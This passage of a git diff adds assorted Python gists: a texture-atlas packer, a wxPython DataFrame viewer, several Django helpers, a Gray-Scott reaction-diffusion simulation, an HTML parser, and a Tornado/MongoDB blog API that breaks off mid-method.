+            aname = folder_name.replace('/', '_') + '-' + str(seq) + '.png'
+            seq += 1
+            atlas.append( (aname, folder_path, output_dir, aw, ah, compress_format, bt_flatten(b)) )
+    return atlas
+
+# ----------------------------------------------------------------------
+
+def write_atlas(atlas): 
+    aname, folder_path, output_dir, aw, ah, compress_format, frames = atlas
+    full_aname_png = output_dir + '/' + aname
+    if compress_format == COMPRESS_PVR: 
+        aname = aname + '.pvrtc'
+    full_aname = output_dir + '/' + aname
+    frame_locations = {}
+    aim = Image.new('RGBA', (aw, ah))    # what about other types?
+    for i in frames: 
+        #log.debug('    i:%s', str(i))
+        f, x, y, w, h, trim = i
+        
+        im = Image.open(folder_path + '/' + f)
+        iw, ih = im.size
+        if trim: 
+            tl, tt, tr, tb = trim
+        else:
+            tl, tt, tr, tb = 0,0,0,0
+        rw = w+tl+tr
+        rh = h+tt+tb
+        log.debug('%s (%i -> %i) -> %s', f, iw, rw, aname)
+        if iw != rw or ih != rh:
+            im = im.resize((rw, rh), RESAMPLE_FILTER)                    
+        if trim: 
+            im = im.crop((tl, tt, w+tl, h+tt))
+            log.debug('   w:%i h:%i - cropping %i %i %i %i - size:%s', w, h, tl, tt, tr, tb, str(im.size))
+        aim.paste(im, (x, y, x+w, y+h))
+        frame_locations[f] = (aname, aw, ah, x, y, w, h, trim)
+    aim.save(full_aname_png, "PNG")
+    if compress_format == COMPRESS_PVR: 
+        os.system(PVR_CMD + full_aname + ' ' + full_aname_png)
+        # +atlasName+".pvrtc "+(COMPRESS_PREVIEW?" -p "+atlasName+".pvrtc.png ":"")+atlasName).execute() 
+    return frame_locations       
+
+# ----------------------------------------------------------------------
+
+def create_metadata(frame_locations, path_prefix): 
+    ''' frame_locations[frame_path] = (aname, aw, ah, x, y, w, h, trim)
+    ''' 
+    metadata = {}
+    keys = frame_locations.keys()
+    keys.sort()      # below algorithm requires sorted ascending
+    for f in keys: 
+        aname, aw, ah, x, y, w, h, trim = frame_locations[f]
+        # Image parts:  name[-flags][-angle][-frame].png 
+        #   flags: l = loop
+        #   angle: \d\d
+        #   frame: \d\d
+        # common-images/pointers/hud_pointer_steam-l-10.png
+        dn = os.path.dirname(f)
+        bf = os.path.splitext(os.path.basename(f))[0]
+        bfp = re.compile('([^-]*)-?(l)?-?(\d\d)?-?(\d\d)?')
+        entry, loop, angle, frame = bfp.match(bf).groups()
+        entry = os.path.join(dn, entry)   # keep relative directory for uniqueness
+        if loop != None: 
+            loop = True
+        if angle != None:
+            if frame != None: 
+                frame = int(frame)
+                angle = int(angle)
+            else:
+                frame = int(angle)
+                angle = 0
+        else:
+            angle = 0
+            frame = 0
+        if trim: 
+            tl, tt, tr, tb = trim
+        else:
+            tl, tt, tr, tb = 0,0,0,0
+        fdata = {'path' : os.path.normpath(os.path.join(path_prefix, aname)), 
+                 'width' : aw, 
+                 'height' : ah, 
+                 'rect' : [x,y,w,h],
+                 'trim' : [tl,tt,tr,tb],
+                 #  'bf': bf              # debug
+                 }
+        e = metadata.get(entry)
+        if not e:
+            e = {'name' : entry, 
+                 'loop' : 1 if loop else 0, 
+                 'framesets': [[]], 
+                 }
+            metadata[entry] = e
+        fs = e['framesets']
+        # suppose file names are sorted, so always append
+        if len(fs) > angle:
+            fs[angle].append(fdata)
+        else:
+            fs.append([fdata])
+    return metadata.values()
+
+# ----------------------------------------------------------------------
+
+usage = '''
+Usage: texture_atlas.py [options] input_directory output_directory output_metadata_filename
+
+Options: 
+
+  --atlas-size | -a 
+    atlas size in pixels. power-of-2 please. 
+
+  --debug | -d 
+    debug logging... very verbose. 
+  
+  --compress FORMAT | -c FORMAT
+    sets the default to compress with FORMAT. Can be overriden by folder flags. 
+  
+  --processes N | -p N
+    number of simultaneous processes to run (default 8)
+
+  --resize PERCENT | -r PERCENT
+    resizes the images (integer number only, 100 = no resize).
+
+  --verbose | -v
+    enables debug logging. 
+
+
+Images in subfolders in the input_directory are processed in their
+separate atlas group. 
+
+Image filename format:  name[-flags][-angle][-frame].png
+  flags: 
+    l: part of a loopable sequence
+
+  eg: 
+    name-l-01.png   # frame 01 of loopable animation
+    name-01-03.png  # frame 03 of angle 01
+
+A folder (including the root) can contain flags that apply to that folder.
+
+Folder flags: 
+  _COMPRESS_FORMAT : compress using FORMAT, where FORMAT can be: PVR2... (TODO)
+  _NO_COMPRESS     : does not compress files
+  _NO_ATLAS        : just keep the original image, including size, as the output.
+  _NO_RESIZE       : ignore resize
+  _NO_TRIM         : does not trim transparent parts of the images.
+  _NO_MARGIN       : no margin when assembling the atlas. 
+
+'''
+
+if __name__ == '__main__': 
+    verbose = False
+    debug = False
+
+    atlas_size = 1024
+    margin_size = 2
+    compress_format = None
+    processes = 8
+    resize_scale = 100.0
+
+    try: 
+        opts, args = getopt.getopt(sys.argv[1:], 
+                                   'a:c:dm:p:r:v',
+                                   ['atlas=',
+                                    'compress=', 
+                                    'debug',
+                                    'margin=',
+                                    'processes=',
+                                    'resize=',
+                                    'verbose', 
+                                    ])
+    except getopt.GetoptError, err: 
+        print str(err)
+        print usage
+        sys.exit(2)
+
+    if len(args) != 3: 
+        print usage
+        sys.exit(1)
+        
+    for o, a in opts: 
+        if o in ('-a', '--atlas-size'): 
+            atlas_size = int(a)
+        elif o in ('-c', '--compress'): 
+            compress_format = a
+        elif o in ('-d', '--debug'): 
+            debug = True
+        elif o in ('-m', '--margin'):
+            margin_size = int(a)
+        elif o in ('-p', '--processes'): 
+            processes = int(a)
+        elif o in ('-r', '--resize'): 
+            resize_scale = float(a)
+        elif o in ('-v', '--verbose'): 
+            verbose = True
+        else: 
+            assert False, ("invalid option: %s" % o)
+
+
+    pp = pprint.PrettyPrinter(indent=2)
+    if debug: 
+        logging.basicConfig(level=logging.DEBUG)
+    elif verbose: 
+        logging.basicConfig(level=logging.INFO)
+    else: 
+        logging.basicConfig(level=logging.ERROR) 
+
+    input_dir = args[0]
+    output_dir = args[1]
+    output_file = args[2]    
+    img_data_cache = {}
+
+    env = {
+        'resize_scale'    : resize_scale, 
+        'compress_format' : compress_format,
+        'atlas_size'      : atlas_size,
+        'input_dir'       : input_dir,
+        'output_dir'      : output_dir,
+        'margin_size'     : margin_size,
+        'image_cache'     :img_data_cache,
+        }
+
+    log.info('\ninput_dir: %s\noutput_dir: %s\noutput_file: %s\n', input_dir, output_dir, output_file)
+    log.debug('  env:%s', str(env))
+
+    # 1. walk directories and prepare batch jobs:
+    #    list of files, flags
+    log.info('---- 1. BATCHES -----------------------------------------------')
+    batches = prepare_batches(input_dir, env)
+    log.debug('\n' + pp.pformat(batches))
+
+    pool = Pool(processes=processes)
+
+    # 2. multiproc: read imaages metadata and calculate trim 
+    log.info('---- 2. CACHE IMAGE INFO --------------------------------------');
+    img_paths = []
+    for b in batches:         
+        img_paths = img_paths + map(lambda x: '%s/%s' % (b[1],x) , b[4])
+    #log.debug('\n' + pp.pformat(img_paths))
+    img_data = pool.map(read_image_data, img_paths)
+    for i in img_data: 
+        img_data_cache[i[0]] = i  # load the cache map
+    #log.debug('\n' + pp.pformat(img_data_cache))
+
+    # 3. multiproc: identify each texture properties and calculate atlas metadata
+    log.info('---- 3. PREPARE ATLAS -----------------------------------------')
+    atlas = pool.map(prepare_atlas, batches)
+    atlas = reduce(lambda x,y: x+y, atlas)   # concat all results 
+    #log.debug('\n' + pp.pformat(atlas))
+
+    # 4. multiproc: execute atlas tiling creating output images
+    log.info('---- 4. WRITE ATLAS -------------------------------------------')
+    log.info(' writing %i atlas files', len(atlas))
+    frame_locations = pool.map(write_atlas, atlas)
+    frame_locations = reduce(lambda x,y: dict(x.items() + y.items()), frame_locations)
+    #log.debug('\n' + pp.pformat(frame_locations))
+
+    # 5. create metadata from frame locations and write it
+    log.info('---- 5. COMPILE METADATA --------------------------------------')
+    path_prefix = os.path.relpath(output_dir, os.path.dirname(output_file))
+    metadata = create_metadata(frame_locations, path_prefix)
+    #log.debug('\n' + pp.pformat(metadata))
+    of = open(output_file, 'w')
+    of.write(json.dumps(metadata, indent=2, sort_keys=True))
+    of.close()
diff --git a/hard-gists/3669688/._snippet.py b/hard-gists/3669688/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3669688/._snippet.py differ
diff --git a/hard-gists/3669688/snippet.py b/hard-gists/3669688/snippet.py
new file mode 100644
index 00000000..5b017a71
--- /dev/null
+++ b/hard-gists/3669688/snippet.py
@@ -0,0 +1,92 @@
+#!/usr/bin/env python
+
+import wx
+from wx import EVT_CLOSE
+import wx.grid as gridlib
+
+EVEN_ROW_COLOUR = '#CCE6FF'
+GRID_LINE_COLOUR = '#ccc'
+
+class PandasTable(wx.Frame):
+    def __init__(self, parent, title, df):
+        super(PandasTable, self).__init__(parent, title=title)
+        panel = wx.Panel(self, -1)
+        self.data = df
+        grid = self.create_grid(panel, self.data)
+        sizer = wx.BoxSizer(wx.VERTICAL)
+        sizer.Add(grid, 1, wx.ALL|wx.EXPAND)
+        panel.SetSizer(sizer)
+
+        # Bind Close Event
+        EVT_CLOSE(self, self.exit)
+        self.Center()
+        self.Show()
+
+    def exit(self, event):
+        self.Destroy()
+
+    def create_grid(self, panel, data):
+        table = DataTable(data)
+        grid = DataGrid(panel)
+        grid.CreateGrid(len(data), len(data.columns))
+        grid.SetTable(table)
+        grid.AutoSize()
+        grid.AutoSizeColumns(True)
+        return grid
+
+class DataTable(gridlib.PyGridTableBase):
+    def __init__(self, data=None):
+        gridlib.PyGridTableBase.__init__(self)
+        self.headerRows = 0
+        self.data = data
+
+    def GetNumberRows(self):
+        return len(self.data)
+
+    def GetNumberCols(self):
+        return len(self.data.columns) + 1
+
+    def GetValue(self, row, col):
+        if col == 0:
+            return self.data.index[row]
+        return self.data.ix[row, col-1]
+
+    def SetValue(self, row, col, value):
+        pass
+
+    def GetColLabelValue(self, col):
+        if col == 0:
+            return 'Index' if self.data.index.name is None else self.data.index.name
+        return self.data.columns[col-1]
+
+    def GetTypeName(self, row, col):
+        return gridlib.GRID_VALUE_STRING
+
+    def GetAttr(self, row, col, prop):
+        attr = gridlib.GridCellAttr()
+        if row % 2 == 1:
+            attr.SetBackgroundColour(EVEN_ROW_COLOUR)
+        return attr
+
+class DataGrid(gridlib.Grid):
+    def __init__(self, parent, size=wx.Size(1000, 500)):
+        self.parent = parent
+        gridlib.Grid.__init__(self, self.parent, -1)
+        self.SetGridLineColour(GRID_LINE_COLOUR)
+        self.SetRowLabelSize(0)
+        self.SetColLabelSize(30)
+        self.table = DataTable()
+
+def display(df):
+    app = wx.App()
+    frame = PandasTable(None, 'test', df)
+    app.MainLoop()
+
+def main():
+    import pandas as pd
+    import numpy as np
+    df = pd.DataFrame({'a' : np.random.randn(10000), 'b' : np.random.randn(10000), 'c' : np.random.randn(10000)})
+    display(df)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/3676137/._snippet.py b/hard-gists/3676137/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3676137/._snippet.py differ
diff --git a/hard-gists/3676137/snippet.py b/hard-gists/3676137/snippet.py
new file mode 100644
index 00000000..0d1d36b8
--- /dev/null
+++ b/hard-gists/3676137/snippet.py
@@ -0,0 +1,27 @@
+"""
+Redactorjs: http://redactorjs.com/
+django-redactorjs: https://github.com/TigorC/django-redactorjs
+"""
+
+from django.contrib import admin
+from django.contrib.flatpages.models import FlatPage
+
+from django.contrib.flatpages.admin import FlatPageAdmin as OldFlatPageAdmin
+from django.contrib.flatpages.admin import FlatpageForm as OldFlatpageForm
+ 
+from django import forms
+from redactor.widgets import RedactorEditor
+ 
+class FlatpageForm(OldFlatpageForm):
+    #content = forms.CharField(widget=RedactorEditor())
+    class Meta:
+        model = FlatPage
+        widgets = {
+           'content': RedactorEditor(),
+        }
+ 
+class FlatPageAdmin(OldFlatPageAdmin):
+    form = FlatpageForm
+ 
+admin.site.unregister(FlatPage)
+admin.site.register(FlatPage, FlatPageAdmin)
\ No newline at end of file
diff --git a/hard-gists/367ff95d4d3d3770fa7b/._snippet.py b/hard-gists/367ff95d4d3d3770fa7b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/367ff95d4d3d3770fa7b/._snippet.py differ
diff --git a/hard-gists/367ff95d4d3d3770fa7b/snippet.py b/hard-gists/367ff95d4d3d3770fa7b/snippet.py
new file mode 100644
index 00000000..6cd51cef
--- /dev/null
+++ b/hard-gists/367ff95d4d3d3770fa7b/snippet.py
@@ -0,0 +1,34 @@
+from collections import defaultdict
+from django.db.models.signals import *
+
+
+class DisableSignals(object):
+    def __init__(self, disabled_signals=None):
+        self.stashed_signals = defaultdict(list)
+        self.disabled_signals = disabled_signals or [
+            pre_init, post_init,
+            pre_save, post_save,
+            pre_delete, post_delete,
+            pre_migrate, post_migrate,
+        ]
+
+    def __enter__(self):
+        for signal in self.disabled_signals:
+            self.disconnect(signal)
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        for signal in self.stashed_signals.keys():
+            self.reconnect(signal)
+
+    def disconnect(self, signal):
+        self.stashed_signals[signal] = signal.receivers
+        signal.receivers = []
+
+    def reconnect(self, signal):
+        signal.receivers = self.stashed_signals.get(signal, [])
+        del self.stashed_signals[signal]
+
+
+# Example usage:
+# with DisableSignals():
+#   user.save()  # will not call any signals
diff --git a/hard-gists/3682135/._snippet.py b/hard-gists/3682135/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3682135/._snippet.py differ
diff --git a/hard-gists/3682135/snippet.py b/hard-gists/3682135/snippet.py
new file mode 100644
index 00000000..f90e3d51
--- /dev/null
+++ b/hard-gists/3682135/snippet.py
@@ -0,0 +1,245 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# -----------------------------------------------------------------------------
+# Copyright INRIA
+# Contributors: Nicolas P. Rougier (Nicolas.Rougier@inria.fr)
+#
+# DANA is a computing framework for the simulation of distributed,
+# asynchronous, numerical and adaptive models.
+#
+# This software is governed by the CeCILL license under French law and abiding
+# by the rules of distribution of free software. You can use, modify and/ or
+# redistribute the software under the terms of the CeCILL license as circulated
+# by CEA, CNRS and INRIA at the following URL
+# http://www.cecill.info/index.en.html.
+#
+# As a counterpart to the access to the source code and rights to copy, modify
+# and redistribute granted by the license, users are provided only with a
+# limited warranty and the software's author, the holder of the economic
+# rights, and the successive licensors have only limited liability.
+#
+# In this respect, the user's attention is drawn to the risks associated with
+# loading, using, modifying and/or developing or reproducing the software by
+# the user in light of its specific status of free software, that may mean that
+# it is complicated to manipulate, and that also therefore means that it is
+# reserved for developers and experienced professionals having in-depth
+# computer knowledge. Users are therefore encouraged to load and test the
+# software's suitability as regards their requirements in conditions enabling
+# the security of their systems and/or data to be ensured and, more generally,
+# to use and operate it in the same conditions as regards security.
+#
+# The fact that you are presently reading this means that you have had
+# knowledge of the CeCILL license and that you accept its terms.
+# -----------------------------------------------------------------------------
+'''
+Reaction Diffusion : Gray-Scott model
+
+References:
+----------
+Complex Patterns in a Simple System
+John E. Pearson, Science 261, 5118, 189-192, 1993.
+'''
+from sys import stderr
+from itertools import product
+
+import numpy as np
+import scipy.sparse as sp
+
+
+
+def convolution_matrix(src, dst, kernel, toric=True):
+    '''
+    Build a sparse convolution matrix M such that:
+
+    (M*src.ravel()).reshape(src.shape) = convolve2d(src,kernel)
+
+    You can specify whether convolution is toric or not and specify a different
+    output shape. If output (dst) is different, convolution is only applied at
+    corresponding normalized location within the src array.
+
+    Building the matrix can be pretty long if your kernel is big but it can
+    nonetheless saves you some time if you need to apply several convolution
+    compared to fft convolution (no need to go to the Fourier domain).
+
+    Parameters:
+    -----------
+
+    src : n-dimensional numpy array
+        Source shape
+
+    dst : n-dimensional numpy array
+        Destination shape
+
+    kernel : n-dimensional numpy array
+        Kernel to be used for convolution
+
+    Returns:
+    --------
+
+    A sparse convolution matrix
+
+    Examples:
+    ---------
+
+    >>> Z = np.ones((3,3))
+    >>> M = convolution_matrix(Z,Z,Z,True)
+    >>> print (M*Z.ravel()).reshape(Z.shape)
+    [[ 9.  9.  9.]
+     [ 9.  9.  9.]
+     [ 9.  9.  9.]]
+    >>> M = convolution_matrix(Z,Z,Z,False)
+    >>> print (M*Z.ravel()).reshape(Z.shape)
+    [[ 4.  6.  4.]
+     [ 6.  9.  6.]
+     [ 4.  6.  4.]]
+    '''
+
+    # Get non NaN value from kernel and their indices.
+    nz = (1 - np.isnan(kernel)).nonzero()
+    data = kernel[nz].ravel()
+    indices = [0,]*(len(kernel.shape)+1)
+    indices[0] = np.array(nz)
+    indices[0] += np.atleast_2d((np.array(src.shape)//2 - np.array(kernel.shape)//2)).T
+
+    # Generate an array A for a given shape such that given an index tuple I,
+    # we can translate into a flat index F = (I*A).sum()
+    to_flat_index = np.ones((len(src.shape),1), dtype=int)
+    if len(src.shape) > 1:
+        to_flat_index[:-1] = src.shape[1]
+
+    R, C, D = [], [], []
+    dst_index = 0
+    src_indices = []
+
+    # Translate target tuple indices into source tuple indices taking care of
+    # possible scaling (this is done by normalizing indices)
+    for i in range(len(src.shape)):
+        z = np.rint((np.linspace(0,1,dst.shape[i])*(src.shape[i]-1))).astype(int)
+        src_indices.append(z)
+
+    nd = [0,]*(len(kernel.shape))
+    for index in np.ndindex(dst.shape):
+        dims = []
+        # Are we starting a new dimension ?
+        if index[-1] == 0:
+            for i in range(len(index)-1,0,-1):
+                if index[i]: break
+                dims.insert(0,i-1)
+        dims.append(len(dst.shape)-1)
+        for dim in dims:
+            i = index[dim]
+
+            if toric:
+                z = (indices[dim][dim] - src.shape[dim]//2 +(kernel.shape[dim]+1)%2 + src_indices[dim][i]) % src.shape[dim]
+            else:
+                z = (indices[dim][dim] - src.shape[dim]//2 +(kernel.shape[dim]+1)%2 + src_indices[dim][i])
+            n = np.where((z >= 0)*(z < src.shape[dim]))[0]
+            if dim == 0:
+                nd[dim] = n.copy()
+            else:
+                nd[dim] = nd[dim-1][n]
+            indices[dim+1] = np.take(indices[dim], n, 1)
+            indices[dim+1][dim] = z[n]
+        dim = len(dst.shape)-1
+        z = indices[dim+1]
+        R.extend( [dst_index,]*len(z[0]) )
+        C.extend( (z*to_flat_index).sum(0).tolist() )
+        D.extend( data[nd[-1]].tolist() )
+        dst_index += 1
+
+    return sp.coo_matrix( (D,(R,C)), (dst.size,src.size)).tocsr()
+
+
+# Parameters from http://www.aliensaint.com/uo/java/rd/
+# -----------------------------------------------------
+n  = 256
+dt = 1
+t  = 25000
+# Du, Dv, F, k = 0.16, 0.08, 0.035, 0.065 # Bacteria 1
+# Du, Dv, F, k = 0.14, 0.06, 0.035, 0.065 # Bacteria 2
+# Du, Dv, F, k = 0.16, 0.08, 0.060, 0.062 # Coral
+# Du, Dv, F, k = 0.19, 0.05, 0.060, 0.062 # Fingerprint
+# Du, Dv, F, k = 0.10, 0.10, 0.018, 0.050 # Spirals
+# Du, Dv, F, k = 0.12, 0.08, 0.020, 0.050 # Spirals Dense
+# Du, Dv, F, k = 0.10, 0.16, 0.020, 0.050 # Spirals Fast
+# Du, Dv, F, k = 0.16, 0.08, 0.020, 0.055 # Unstable
+# Du, Dv, F, k = 0.16, 0.08, 0.050, 0.065 # Worms 1
+# Du, Dv, F, k = 0.16, 0.08, 0.054, 0.063 # Worms 2
+# Du, Dv, F, k = 0.16, 0.08, 0.035, 0.060 # Zebrafish
+
+Du, Dv, F, k = 0.16, 0.08, 0.054, 0.063 # http://mrob.com/pub/comp/xmorphia/F540/F540-k630.html
+Du, Dv, F, k = 0.16, 0.08, 0.038, 0.063 # http://mrob.com/pub/comp/xmorphia/F380/F380-k630.html
+Du, Dv, F, k = 0.16, 0.08, 0.037, 0.063 # 
+Du, Dv, F, k = 0.16, 0.08, 0.046, 0.061 # http://mrob.com/pub/comp/xmorphia/F460/F460-k610.html
+Du, Dv, F, k = 0.16, 0.08, 0.070, 0.061 # http://mrob.com/pub/comp/xmorphia/F700/F700-k610.html
+Du, Dv, F, k = 0.16, 0.08, 0.066, 0.063 # http://mrob.com/pub/comp/xmorphia/F660/F660-k630.html
+Du, Dv, F, k = 0.16, 0.08, 0.026, 0.061 # http://mrob.com/pub/comp/xmorphia/F260/F260-k610.html
+Du, Dv, F, k = 0.16, 0.08, 0.086, 0.059 # http://mrob.com/pub/comp/xmorphia/F860/F860-k590.html
+
+from optparse import OptionParser
+
+defaults = dict(F=F, k=k, size=n, file='u.png')
+
+parser = OptionParser()
+parser.set_defaults(**defaults)
+
+parser.add_option('-F', '--F', dest='F', type='float',
+                  help='Parameter F, default %(F).3f.' % defaults)
+
+parser.add_option('-k', '--k', dest='k', type='float',
+                  help='Parameter k, default %(k).3f.' % defaults)
+
+parser.add_option('--size', dest='size', type='int',
+                  help='Image size, default %(size)d.' % defaults)
+
+parser.add_option('--file', dest='file',
+                  help='Output image file, default %(file)s.' % defaults)
+
+options, args = parser.parse_args()
+
+dim = (options.size, options.size)
+
+u = np.zeros(dim, dtype = np.float32)
+v = np.zeros(dim, dtype = np.float32)
+U = np.zeros(dim, dtype = np.float32)
+V = np.zeros(dim, dtype = np.float32)
+Z = U*V*V
+K = convolution_matrix(Z,Z, np.array([[np.NaN,  1., np.NaN], 
+                                      [  1.,   -4.,   1.  ],
+                                      [np.NaN,  1., np.NaN]]))
+Lu = (K*U.ravel()).reshape(U.shape)
+Lv = (K*V.ravel()).reshape(V.shape)
+
+r = 20
+u[...] = 1.0
+v[...] = 0.0
+
+for (x, y) in product(range(0, options.size, 64), repeat=2):
+    u[x:x+8,y:y+8] = 0.50
+    v[x:x+8,y:y+8] = 0.25
+
+u += 0.05*np.random.random(dim)
+v += 0.05*np.random.random(dim)
+U[...] = u
+V[...] = v
+
+def on_idle(steps):
+    global u,v,U,V,Z,Du,Dv,options
+    for i in range(steps):
+        if (i % 100) == 0:
+            print >> stderr, (steps - i)/100,
+        Lu = (K*U.ravel()).reshape(U.shape)
+        Lv = (K*V.ravel()).reshape(V.shape)
+        u += dt * (Du*Lu - Z + options.F * (1-U))
+        v += dt * (Dv*Lv + Z - (options.F+options.k) * V)
+    #U,V = np.maximum(u,0), np.maximum(v,0)
+        U,V = u, v
+        Z = U*V*V
+    print >> stderr, ''
+
+print u.max(), u.min()
+on_idle(t)
+print u.max(), u.min()
+
+import Blit
+Blit.utils.chan2img(u).save(options.file)
diff --git a/hard-gists/3685134/._snippet.py b/hard-gists/3685134/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3685134/._snippet.py differ
diff --git a/hard-gists/3685134/snippet.py b/hard-gists/3685134/snippet.py
new file mode 100644
index 00000000..4deead6b
--- /dev/null
+++ b/hard-gists/3685134/snippet.py
@@ -0,0 +1,57 @@
+import re
+from django import forms
+from django.db import models
+
+class ColourFormField(forms.IntegerField):
+	default_error_messages = {
+		'invalid': 'Enter a valid colour value: e.g. "#ff0022"',
+	}
+	
+	def __init__(self, *args, **kwargs):
+		super(ColourFormField, self).__init__(*args, **kwargs)
+	
+	def clean(self, value):
+		if value == '' and not self.required:
+			return u''
+
+		if not re.match('^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$', value):
+			raise forms.ValidationError(self.error_messages['invalid'])
+		
+		value = int(value[1:], 16)
+
+		super(ColourFormField, self).clean(value)
+
+		return value
+
+class ColourField(models.PositiveIntegerField):
+
+	description = "HEX value for a colour"
+
+	def __init__(self, *args, **kwargs):
+		kwargs['max_length'] = 6
+		super(ColourField, self).__init__(*args, **kwargs)
+
+	def to_python(self, value):
+		super(ColourField, self).to_python(value)
+
+		try:
+			string = hex(value)[2:]
+
+			if string == "0":
+				string = "000000"
+
+			return "#"+string.upper()
+		except TypeError:
+			return None
+		
+	def get_prep_value(self, value):
+		try:
+			# hex to int, save the int representation of the colour hex code to the database
+			return value
+		except ValueError:
+			return None
+
+	def formfield(self, *args, **kwargs):
+		kwargs['form_class'] = ColourFormField
+
+		return super(ColourField, self).formfield(*args, **kwargs)
\ No newline at end of file
diff --git a/hard-gists/3688944/._snippet.py b/hard-gists/3688944/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3688944/._snippet.py differ
diff --git a/hard-gists/3688944/snippet.py b/hard-gists/3688944/snippet.py
new file mode 100644
index 00000000..04806a69
--- /dev/null
+++ b/hard-gists/3688944/snippet.py
@@ -0,0 +1,9 @@
+# -*- coding: utf-8 -*-
+from django import template
+
+register = template.Library()
+
+
+@register.inclusion_tag('template.html', takes_context = True)
+def tag(context):
+    pass
diff --git a/hard-gists/3691418/._snippet.py b/hard-gists/3691418/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3691418/._snippet.py differ
diff --git a/hard-gists/3691418/snippet.py b/hard-gists/3691418/snippet.py
new file mode 100644
index 00000000..1a5e3ce8
--- /dev/null
+++ b/hard-gists/3691418/snippet.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import html.parser
+
+class ContentParser(html.parser.HTMLParser):
+    def __init__(self, begin_tag, stop_tag):
+        html.parser.HTMLParser.__init__(self)
+        tag_temple = ('type', 'name', 'attrs', 'contains_me')
+        self.begin_tag = dict(zip(tag_temple, begin_tag))
+        self.begin_tag.setdefault('contains_me', False)
+        self.stop_tag = dict(zip(tag_temple, stop_tag))
+        self.stop_tag.setdefault('contains_me', False)
+    def reset(self):
+        html.parser.HTMLParser.reset(self)
+        self.switch_flag = False
+        self.content = ['']
+    def begin_now(self):
+        self.switch_flag = True
+        return
+    def stop_now(self):
+        self.switch_flag = False
+        return
+    @staticmethod
+    def tag_process(tag_type, target_tag, target_action, tag, attrs):
+        def has_attr(match_attrs, source_attrs):
+            match_dict = dict(match_attrs)
+            source_dict = dict(source_attrs)
+            if 'class' in match_dict:
+                if 'class' in source_dict:
+                    if set(str.split(match_dict.pop('class'))).issubset(set(str.split(source_dict.pop('class')))):
+                        pass
+                    else:
+                        return False
+                else:
+                    return False
+            return set(match_dict.items()).issubset(set(source_dict.items()))
+
+        if target_tag['type'] == tag_type:
+            if tag == target_tag['name']:
+                if target_tag['attrs'] is None or len(target_tag['attrs']) == 0 or tag_type == 'endtag':
+                    target_action()
+                    return True
+                else:
+                    if len(target_tag['attrs']) > len(attrs):
+                        return False
+                    else:
+                        if has_attr(target_tag['attrs'], attrs):
+                            target_action()
+                            return True
+                        else:
+                            return False
+            else:
+                return False
+        else:
+            return False
+    def pre_tag_process(self, tag_type, tag, attrs = None):
+        def get_tag_text():
+            if tag_type == 'endtag':
+                return '</{0}>'.format(tag)
+            else:
+                return self.get_starttag_text()
+
+        if self.switch_flag == False:
+            if self.tag_process(tag_type, self.begin_tag, self.begin_now, tag, attrs) == True:
+                if self.begin_tag['contains_me'] == False:
+                    self.content = []
+                else:
+                    self.content = [get_tag_text()]
+                return True
+            else:
+                return False
+        else:
+            if self.tag_process(tag_type, self.stop_tag, self.stop_now, tag, attrs) == True:
+                if self.stop_tag['contains_me'] == False:
+                    return False
+                else:
+                    self.content.append(get_tag_text())
+                    return True
+            else:
+                self.content.append(get_tag_text())
+                return True
+    def handle_starttag(self, tag, attrs):
+        self.pre_tag_process('starttag', tag, attrs)
+    def handle_endtag(self, tag):
+        self.pre_tag_process('endtag', tag)
+    def handle_startendtag(self, tag, attrs):
+        self.pre_tag_process('startendtag', tag, attrs)
+    def handle_data(self, data):
+        if self.switch_flag == False:
+            return False
+        else:
+            self.content.append(data)
+            return True
+
+def main():
+    page = '<html><h1 id="q" class="a c b">Title</h1><p>Im a paragraph!</p><p>Another paragraph</p></html>'
+    myparser = ContentParser(['starttag', 'h1', [('class','a b'), ('id', 'q')], True], ['endtag', 'p', None, True])
+    myparser.feed(page)
+    print(''.join(myparser.content))
+    myparser.reset()
+    print(myparser.content)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3692387/._snippet.py b/hard-gists/3692387/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3692387/._snippet.py differ
diff --git a/hard-gists/3692387/snippet.py b/hard-gists/3692387/snippet.py
new file mode 100644
index 00000000..25380ac1
--- /dev/null
+++ b/hard-gists/3692387/snippet.py
@@ -0,0 +1,106 @@
+import tornado.ioloop
+import tornado.web
+from datetime import datetime
+import urlparse
+from bson.json_util import dumps
+
+import pymongo
+from pymongo import Connection
+
+class Home(tornado.web.RequestHandler):
+
+    def initialize(self, connection):
+        self.conn = connection
+        self.db = self.conn['blogger']
+        self.collection = self.db['blogs']
+
+        ## Blog's Welcome entry
+        timestamp = datetime.now()
+        blog = {
+                "_id": 1,
+                "title": "Welcome blog!",
+                "tags": ["hello world"],
+                "category": ["welcome"],
+                "timestamp": timestamp,
+        }
+        self.db.blogs.insert(blog)
+
+class Blog(Home):
+
+    def get(self, blogid):
+        blog = self.db.blogs.find_one({"_id":int(blogid)})
+        self.set_header('Content-Type', 'application/json')
+        self.write(dumps(blog))
+    def post(self):
+        _id = self.db.blogs.count() + 1
+        timestamp = datetime.now()
+        body = urlparse.parse_qs(self.request.body)
+        for key in body:
+                body[key] = body[key][0]
+        blog = {
+                "_id": _id,
+                "title": body['title'],
+                "tags": body['tags'],
+                "category": body['category'],
+                "timestamp": timestamp
+        }
+        self.db.blogs.insert(blog)
+        location = "/blog/"+ str(_id)
+        self.set_header('Content-Type', 'application/json')
+        self.set_header('Location', location)
+        self.set_status(201)
+        self.write(dumps(blog))
+
+    def put(self, blogid):
+        ## Convert unicode to int
+        _id = int(blogid)
+        timestamp = datetime.now()
+        body = urlparse.parse_qs(self.request.body)
+        for key in body:
+                body[key] = body[key][0]
+        blog = {
+                "title": body['title'],
+                "tags": body['tags'],
+                "category": body['category'],
